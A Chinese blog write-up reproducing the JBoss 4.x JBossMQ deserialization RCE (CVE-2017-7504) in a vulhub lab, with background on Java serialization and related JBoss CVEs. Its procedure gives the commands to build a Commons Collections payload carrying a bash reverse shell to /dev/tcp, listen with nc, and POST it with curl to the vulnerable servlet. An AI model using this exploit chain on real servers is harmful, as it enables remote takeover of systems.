【vulhub】JBOSS4.x反序列化远程代码执⾏漏洞(CVE-2017-7504)复现0x00前⾔:
序列化就是把对象转换成字节流,便于保存在内存、⽂件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的Object Out putStream类的write Object()⽅法可以实现序列化,ObjectIn put Stream类的read Object()⽅法⽤于反序列化。
问题的根源在于类ObjectIn put Stream在反序列化时,没有对⽣成的对象的类型做限制。
Apache Commons Collections
是⼀个扩展了Java标准库⾥的Collection结构的第三⽅基础库,它提供了很多强有⼒的数据结构类型并且实现了各种集合⼯具类。
0x01简介
Red Hat JBoss Application Server 是⼀款基于JavaEE的开源应⽤服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
⾸先这个漏洞与CVE-2015-7501⼀样,都是利⽤了Apache Commons Collections的基础库进⾏Java反
序列化漏洞的利⽤。
差别在于CVE-2017-7504利⽤路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利⽤路径是/invoker/JMXInvokerServlet。
0x02过程
CVE-2017-12149和CVE-2017-7504都是反序列化漏洞,因此⽤的东西都是⼀样的,笔者这⾥使⽤上次复现CVE-2017-12149的时候的POC⽂件。
笔者还特别查了下两种区别:
CVE-2017-7504.
影响范围:JBoss AS 4.x及之前版本。
漏洞原理:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
CVE-2017-12149.
影响范围:漏洞影响5.x和6.x版本的JBOSSAS。
漏洞原理:该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter⽅法在没有进⾏任何安全检查和限制的情况下尝试将来⾃客户端的序列化数据流进⾏反序列化,导致攻击者可以通过精⼼设计的序列化数据来执⾏任意代码。但有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利⽤该漏洞⽆需⽤户验证在系统上执⾏任意命令,获得服务器的控制权。
⼀、环境搭建
1.docker的安装参考
2.安装完docker后,直接拉取vulhub的源码。
3.靶机启动服务
执⾏如下命令启动JBoss AS 4.0.5
docker-compose up -d
该反序列化漏洞发送在下⾯这个URL中
192.168.100.23:8080/jbossmq-httpil/HTTPServerILServlet
1.1、exp准备:
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 '命令'
nc -lvvp 4444
curl 192.168.100.23:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser
cve漏洞库
exploit
选择ExampleCommonsCollections1WithHashMap,编译并⽣成序列化数据:   
编译
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
ser全称serialize,序列化恶意数据⾄⽂件。
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.100.23/4444 0>&1"
第⼀⾏命令执⾏完成后,将⽣成⼀个⽂件ExampleCommonsCollections1WithHashMap.class
第⼆⾏命令执⾏完成后,将⽣成⼀个⽂件ExampleCommonsCollections1WithHashMap.ser
反弹shell:
监听
将该⽂件作为请求数据主体发送如下数据包:
–data-binary 意为以⼆进制的⽅式post数据
curl 192.168.100.23:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
反弹成功。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。